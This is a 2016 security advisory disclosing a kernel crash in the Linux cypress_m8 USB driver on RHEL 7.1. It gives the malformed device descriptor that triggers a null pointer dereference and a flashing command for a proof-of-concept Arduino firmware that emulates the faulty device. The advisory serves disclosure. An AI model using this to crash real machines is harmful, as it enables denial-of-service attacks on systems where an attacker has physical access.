Linux cypress_m8 Null Pointer Dereference

`OS-S Security Advisory 2016-07  
Linux cypress_m8 Nullpointer Dereference   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid   
USB device descriptors (cypress_m8 driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015

Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device which requires the requiring the cypress_m8 driver.  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x3  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x4b4  
idProduct: 0x5500  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
  
This is the configuration descriptor containing only one interrupt-endpoint-  
descriptor (IN-direction).  
The cypress_m8 driver assumes that there will be at least two endpoint-  
descriptors configured for interrupt-transfer and each used for one direction.   
Since there is no sanity check, it is possible that the kernel tries to   
dereference a null-pointer.  
This results in a crash of the system.

Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
The firmware has been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patch was provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.
